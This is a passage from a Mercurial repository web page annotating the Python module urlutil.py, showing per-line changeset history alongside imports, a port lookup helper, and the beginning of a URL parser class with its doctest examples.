Mercurial > public > mercurial-scm > hg-stable
annotate mercurial/utils/urlutil.py @ 53040:cdd7bf612c7b stable tip
bundle-spec: properly format boolean parameter (issue6960)
This was breaking automatic clone bundle generation. This changeset fixes it and
add a test to catch it in the future.
author | Pierre-Yves David <pierre-yves.david@octobus.net> |
---|---|
date | Tue, 11 Mar 2025 02:29:42 +0100 |
parents | 180591a9a6a1 |
children |
rev | line source |
---|---|
46906
33524c46a092
urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff
changeset
|
1 # utils.urlutil - code related to [paths] management |
33524c46a092
urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff
changeset
|
2 # |
49615
bc59c1e5dd01
copyright: update to 2023
Matt Harbison <matt_harbison@yahoo.com>
parents:
49037
diff
changeset
|
3 # Copyright 2005-2023 Olivia Mackall <olivia@selenic.com> and others |
46906
33524c46a092
urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff
changeset
|
4 # |
33524c46a092
urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff
changeset
|
5 # This software may be used and distributed according to the terms of the |
33524c46a092
urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff
changeset
|
6 # GNU General Public License version 2 or any later version. |
51902
1c5810ce737e
typing: add `from __future__ import annotations` to remaining source files
Matt Harbison <matt_harbison@yahoo.com>
parents:
51730
diff
changeset
|
7 |
1c5810ce737e
typing: add `from __future__ import annotations` to remaining source files
Matt Harbison <matt_harbison@yahoo.com>
parents:
51730
diff
changeset
|
8 from __future__ import annotations |
1c5810ce737e
typing: add `from __future__ import annotations` to remaining source files
Matt Harbison <matt_harbison@yahoo.com>
parents:
51730
diff
changeset
|
9 |
46906
33524c46a092
urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff
changeset
|
10 import os |
46907
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
11 import re as remod |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
12 import socket |
46906
33524c46a092
urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff
changeset
|
13 |
51302
9d3721552b6c
pytype: import typing directly
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
51180
diff
changeset
|
14 from typing import ( |
51730
a09435c0eb14
typing: add a few type hints to `mercurial/utils/urlutil.py`
Matt Harbison <matt_harbison@yahoo.com>
parents:
51304
diff
changeset
|
15 Callable, |
a09435c0eb14
typing: add a few type hints to `mercurial/utils/urlutil.py`
Matt Harbison <matt_harbison@yahoo.com>
parents:
51304
diff
changeset
|
16 Dict, |
52908
180591a9a6a1
typing: add a protocol for `urlutil.path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
52907
diff
changeset
|
17 Optional, |
51730
a09435c0eb14
typing: add a few type hints to `mercurial/utils/urlutil.py`
Matt Harbison <matt_harbison@yahoo.com>
parents:
51304
diff
changeset
|
18 Tuple, |
51302
9d3721552b6c
pytype: import typing directly
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
51180
diff
changeset
|
19 Union, |
9d3721552b6c
pytype: import typing directly
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
51180
diff
changeset
|
20 ) |
9d3721552b6c
pytype: import typing directly
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
51180
diff
changeset
|
21 |
46906
33524c46a092
urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff
changeset
|
22 from ..i18n import _ |
33524c46a092
urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff
changeset
|
23 from .. import ( |
46907
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
24 encoding, |
46906
33524c46a092
urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff
changeset
|
25 error, |
33524c46a092
urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff
changeset
|
26 pycompat, |
46907
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
27 urllibcompat, |
46906
33524c46a092
urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff
changeset
|
28 ) |
33524c46a092
urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff
changeset
|
29 |
47284
834f4e9d1af2
multi-urls: add a boolean suboption that unlock path specification as list
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
47283
diff
changeset
|
30 from . import ( |
834f4e9d1af2
multi-urls: add a boolean suboption that unlock path specification as list
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
47283
diff
changeset
|
31 stringutil, |
834f4e9d1af2
multi-urls: add a boolean suboption that unlock path specification as list
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
47283
diff
changeset
|
32 ) |
834f4e9d1af2
multi-urls: add a boolean suboption that unlock path specification as list
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
47283
diff
changeset
|
33 |
52907
ba343f763595
typing: add an interface for url
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
52670
diff
changeset
|
34 from ..interfaces import ( |
ba343f763595
typing: add an interface for url
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
52670
diff
changeset
|
35 misc as int_misc, |
ba343f763595
typing: add an interface for url
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
52670
diff
changeset
|
36 ) |
ba343f763595
typing: add an interface for url
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
52670
diff
changeset
|
37 |
49878
f1887500f3ec
delta-find: add a `delta-reuse-policy` on configuration `path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
49870
diff
changeset
|
38 from ..revlogutils import ( |
f1887500f3ec
delta-find: add a `delta-reuse-policy` on configuration `path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
49870
diff
changeset
|
39 constants as revlog_constants, |
f1887500f3ec
delta-find: add a `delta-reuse-policy` on configuration `path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
49870
diff
changeset
|
40 ) |
f1887500f3ec
delta-find: add a `delta-reuse-policy` on configuration `path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
49870
diff
changeset
|
41 |
51302
9d3721552b6c
pytype: import typing directly
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
51180
diff
changeset
|
42 # keeps pyflakes happy |
51730
a09435c0eb14
typing: add a few type hints to `mercurial/utils/urlutil.py`
Matt Harbison <matt_harbison@yahoo.com>
parents:
51304
diff
changeset
|
43 assert [Callable, Dict, Tuple, Union] |
46907
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
44 |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
45 urlreq = urllibcompat.urlreq |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
46 |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
47 |
51304
f15cb5111a1e
pytype: move some type comment to proper annotation
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
51302
diff
changeset
|
48 def getport(port: Union[bytes, int]) -> int: |
46907
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
49 """Return the port for a given network service. |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
50 |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
51 If port is an integer, it's returned as is. If it's a string, it's |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
52 looked up using socket.getservbyname(). If there's no matching |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
53 service, error.Abort is raised. |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
54 """ |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
55 try: |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
56 return int(port) |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
57 except ValueError: |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
58 pass |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
59 |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
60 try: |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
61 return socket.getservbyname(pycompat.sysstr(port)) |
52665
24ee91ba9aa8
pyupgrade: drop usage of py3 aliases for `OSError`
Matt Harbison <matt_harbison@yahoo.com>
parents:
51902
diff
changeset
|
62 except OSError: |
46907
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
63 raise error.Abort( |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
64 _(b"no port number associated with service '%s'") % port |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
65 ) |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
66 |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
67 |
52907
ba343f763595
typing: add an interface for url
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
52670
diff
changeset
|
68 class url(int_misc.IUrl): |
46907
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
69 r"""Reliable URL parser. |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
70 |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
71 This parses URLs and provides attributes for the following |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
72 components: |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
73 |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
74 <scheme>://<user>:<passwd>@<host>:<port>/<path>?<query>#<fragment> |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
75 |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
76 Missing components are set to None. The only exception is |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
77 fragment, which is set to '' if present but empty. |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
78 |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
79 If parsefragment is False, fragment is included in query. If |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
80 parsequery is False, query is included in path. If both are |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
81 False, both fragment and query are included in path. |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
82 |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
83 See http://www.ietf.org/rfc/rfc2396.txt for more information. |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
84 |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
85 Note that for backward compatibility reasons, bundle URLs do not |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
86 take host names. That means 'bundle://../' has a path of '../'. |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
87 |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
88 Examples: |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
89 |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
90 >>> url(b'http://www.ietf.org/rfc/rfc2396.txt') |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
91 <url scheme: 'http', host: 'www.ietf.org', path: 'rfc/rfc2396.txt'> |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
92 >>> url(b'ssh://[::1]:2200//home/joe/repo') |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
93 <url scheme: 'ssh', host: '[::1]', port: '2200', path: '/home/joe/repo'> |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
94 >>> url(b'file:///home/joe/repo') |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
95 <url scheme: 'file', path: '/home/joe/repo'> |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
96 >>> url(b'file:///c:/temp/foo/') |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
97 <url scheme: 'file', path: 'c:/temp/foo/'> |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
98 >>> url(b'bundle:foo') |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
99 <url scheme: 'bundle', path: 'foo'> |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
100 >>> url(b'bundle://../foo') |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
101 <url scheme: 'bundle', path: '../foo'> |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
102 >>> url(br'c:\foo\bar') |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
103 <url path: 'c:\\foo\\bar'> |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
104 >>> url(br'\\blah\blah\blah') |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
105 <url path: '\\\\blah\\blah\\blah'> |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
106 >>> url(br'\\blah\blah\blah#baz') |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
107 <url path: '\\\\blah\\blah\\blah', fragment: 'baz'> |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
108 >>> url(br'file:///C:\users\me') |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
109 <url scheme: 'file', path: 'C:\\users\\me'> |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
110 |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
111 Authentication credentials: |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
112 |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
113 >>> url(b'ssh://joe:xyz@x/repo') |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
114 <url scheme: 'ssh', user: 'joe', passwd: 'xyz', host: 'x', path: 'repo'> |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
115 >>> url(b'ssh://joe@x/repo') |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
116 <url scheme: 'ssh', user: 'joe', host: 'x', path: 'repo'> |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
117 |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
118 Query strings and fragments: |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
119 |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
120 >>> url(b'http://host/a?b#c') |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
121 <url scheme: 'http', host: 'host', path: 'a', query: 'b', fragment: 'c'> |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
122 >>> url(b'http://host/a?b#c', parsequery=False, parsefragment=False) |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
123 <url scheme: 'http', host: 'host', path: 'a?b#c'> |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
124 |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
125 Empty path: |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
126 |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
127 >>> url(b'') |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
128 <url path: ''> |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
129 >>> url(b'#a') |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
130 <url path: '', fragment: 'a'> |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
131 >>> url(b'http://host/') |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
132 <url scheme: 'http', host: 'host', path: ''> |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
133 >>> url(b'http://host/#a') |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
134 <url scheme: 'http', host: 'host', path: '', fragment: 'a'> |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
135 |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
136 Only scheme: |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
137 |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
138 >>> url(b'http:') |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
139 <url scheme: 'http'> |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
140 """ |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
141 |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
142 _safechars = b"!~*'()+" |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
143 _safepchars = b"/!~*'()+:\\" |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
144 _matchscheme = remod.compile(b'^[a-zA-Z0-9+.\\-]+:').match |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
145 |
51304
f15cb5111a1e
pytype: move some type comment to proper annotation
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
51302
diff
changeset
|
146 def __init__( |
f15cb5111a1e
pytype: move some type comment to proper annotation
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
51302
diff
changeset
|
147 self, |
f15cb5111a1e
pytype: move some type comment to proper annotation
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
51302
diff
changeset
|
148 path: bytes, |
f15cb5111a1e
pytype: move some type comment to proper annotation
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
51302
diff
changeset
|
149 parsequery: bool = True, |
f15cb5111a1e
pytype: move some type comment to proper annotation
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
51302
diff
changeset
|
150 parsefragment: bool = True, |
f15cb5111a1e
pytype: move some type comment to proper annotation
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
51302
diff
changeset
|
151 ) -> None: |
46907
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
152 # We slowly chomp away at path until we have only the path left |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
153 self.scheme = self.user = self.passwd = self.host = None |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
154 self.port = self.path = self.query = self.fragment = None |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
155 self._localpath = True |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
156 self._hostport = b'' |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
157 self._origpath = path |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
158 |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
159 if parsefragment and b'#' in path: |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
160 path, self.fragment = path.split(b'#', 1) |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
161 |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
162 # special case for Windows drive letters and UNC paths |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
163 if hasdriveletter(path) or path.startswith(b'\\\\'): |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
164 self.path = path |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
165 return |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
166 |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
167 # For compatibility reasons, we can't handle bundle paths as |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
168 # normal URLS |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
169 if path.startswith(b'bundle:'): |
ffd3e823a7e5
